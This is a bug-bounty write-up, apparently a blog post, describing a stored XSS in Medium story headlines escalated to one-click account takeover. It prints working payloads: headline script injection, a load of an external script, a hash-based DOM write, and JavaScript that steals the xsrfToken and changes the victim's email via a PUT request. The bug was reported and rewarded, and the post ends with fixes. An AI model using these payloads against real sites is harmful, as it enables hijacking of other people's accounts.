Two days ago, I found a simple, limited XSS, so, I developed it to be a One-click full account takeover.

How did it start ?

I was searching on google for an XSS vectors, I found a link to Medium’s page that had XSS vectors. When I opened it, I got XSSed, left me curious to take a look inside the page, there were something new here that caused this, after reading the source code, I found that headline is not being filtered . 

I registered with an account and created a new story with headline:

"><script>alert(1337)</script>

medium-xss

And I got:

medium-xss

As shown, I was granted XSS, so, I’m going to try to bring an XSS file from outside because the headline had a limited length. 
For my first attempt here, I tried to bring XSS file form another server, like
http://xxe-me.esy.es/xss.js
Here’s how I did it:

medium-xss

Whenever I try to open the page, nothing happens, because there were a CSP . IE does not support CSP , but I want more damage for the PoC .  

What is CSP? 

CSP stands for Content Security Policy . 

Is an W3C specification offering the possibility to instruct the client browser from which location and/or which type of resources are allowed to be loaded. To define a loading behavior, the CSP specification use “directive” where a directive defines a loading behavior for a target resource type. - By (OWASP)

Medium’s CSP is: 

content-security-policy:default-src'self';connect-srchttps://localhosthttps://*.instapaper.comhttps://*.stripe.comhttps://getpocket.comhttps://medium.com:443https://*.medium.com:443https://*.medium.comhttps://medium.comhttps://*.medium.comhttps://*.algolia.nethttps://cdn-static-1.medium.comhttps://dnqgz544uhbo8.cloudfront.net'self';font-srcdata:https://*.amazonaws.comhttps://*.medium.comhttps://*.gstatic.comhttps://dnqgz544uhbo8.cloudfront.nethttps://use.typekit.nethttps://cdn-static-1.medium.com'self';frame-srcchromenull:https:webviewprogressproxy:medium:'self';img-srcblob:data:https:'self';media-srchttps://*.cdn.vine.cohttps://d1fcbxp97j4nb2.cloudfront.nethttps://d262ilb51hltx0.cloudfront.nethttps://medium2.global.ssl.fastly.nethttps://*.medium.comhttps://gomiro.medium.comhttps://miro.medium.comhttps://pbs.twimg.com'self';object-src'self';script-src'unsafe-eval''unsafe-inline'about:https:'self';style-src'unsafe-inline'data:https:'self';report-urihttps://csp.medium.com

If you see the CSP the script-src use unsafe-inline without nonce, that’s why the page doesn’t prevent the XSS in the original page.

It’s a common mistake as Michele Spagnuolo and Lukas Weichselbaum said at HITB conference .

medium-xss

Though I found this, but I didn’t stop there, I was thinking to create a good PoC for stealing CSRF token, and make a request since the email change doesn’t require a password confirmation.  But wait, I couldn’t write a full script in the headline because the length of the headline is quite short, and the single and double quotes were changed to Unicode, nothing worked I went to sleep. In the next day I checked Facebook and chatted with some friends about my problem, they gave me advises but nothing worked here too.  Then I got this idea where I change the stored XSS to DOM XSS and it was really a great idea , but I was not sure about it .

medium-xss

The token was in the same page; it’s called xsrfToken

Now time for some javascript :) For headline name I used:

"><script>document.write(decodeURIComponent(window.location.hash));</script>

The document.wirte for write the new PoC on page , decodeURIComponent for the URL decode, and all of the new PoC will be in the  window.location.hash

medium-xss


I wrote this simple token finder and tested locally.

<html>
<head>
 <script> 
function myFunction() { 
var str = document.body.innerHTML; 
var n = str.lastIndexOf('xsrfToken'); 
var result = str.substring(n + 12); 
if(result.length > 16){ result = result.substring(0,16); 
alert('Your token is ' + result);
}
}
</script>
</head>
<body>
xsrfToken":"HZuv9jqWJvnqO0pF"
<img src='x' onerror='myFunction()'> 
</body>
</html>

I used this to check page for xsrfToken and show in alert box locally, then I used it in the medium website, and img tag for triggering the XSS.

PoC :

https://medium.com/@abdullah.test1/script-src-goo-gl-9li8mf-script-img-onerror-myfunction-src-x-6c98f1e159ca#<script>function myFunction(){var str = document.body.innerHTML;var n = str.lastIndexOf('xsrfToken');var result = str.substring(n + 12);if(result.length > 16) {result = result.substring(0,16); alert(result); }</script><img src=x onerror="myFunction()">



medium-xss

Works good !

But after get the token I wasn’t  able to send request ! Because the change request sent through PUT  method and SOP prevent send the request from another origin .

So I need to make the request form the current page . So I wrote the full poc that send request to https://medium.com/me/email with json data email :abdullah.test1@gmail.com

PoC :

<script> function myFunction() {
 var str = document.body.innerHTML;
 var n = str.lastIndexOf('xsrfToken');
 var result = str.substring(n   12);
 if(result.length > 16) {result = result.substring(0,16); alert('Your token is ' +  result) };
 var xhr = new XMLHttpRequest();
 xhr.open('PUT', 'https://medium.com/me/email');
 xhr.setRequestHeader('Content-Type', 'application/json');
 xhr.setRequestHeader('X-XSRF-Token', result);
 xhr.onload = function() {
  if (xhr.status === 200) {
  alert('ok');
 } } ;
 xhr.send(JSON.stringify({"email":"abdullah.test1@gmail.com"}));
} </script>
<img onerror="myFunction();" src=x>


Full PoC here .

And the PUT request worked, and the email were changed successfully!

medium-xss

I sent the full PoC and I got reply in the same day, 2 days later, they contacted and rewarded me with a $100, I was kind of disappointed but at least I got a medium shirt. 

Updated : I got medium’s shirt :D

medium-xss

See the PoC video :


Conclusion 

  • Using nonce in your CSP. 
  • Make password confirmation for email change mechanism. 
  • When you set new feature make sure it is secure.

That is all thanks for read .If you like it you can follow me on my twitter account @Abdulahhusam .